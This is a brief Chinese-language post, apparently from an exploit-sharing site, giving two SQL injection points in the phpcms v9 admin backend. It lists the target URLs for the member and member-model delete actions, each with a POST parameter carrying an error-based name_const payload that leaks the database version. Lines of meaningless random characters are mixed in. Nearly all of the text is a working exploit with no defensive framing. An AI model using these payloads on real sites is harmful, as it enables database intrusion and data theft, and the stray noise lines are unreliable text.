phpcms两处后台的SQL注入

admin

(一)：
* s8 j0 X6 P3 b/ u5 E

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

8 a, N9 \8 a0 q7 j
' o% P/ N0 b  y, h
* M3 V2 @8 L. Y6 c  L! F+ C

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)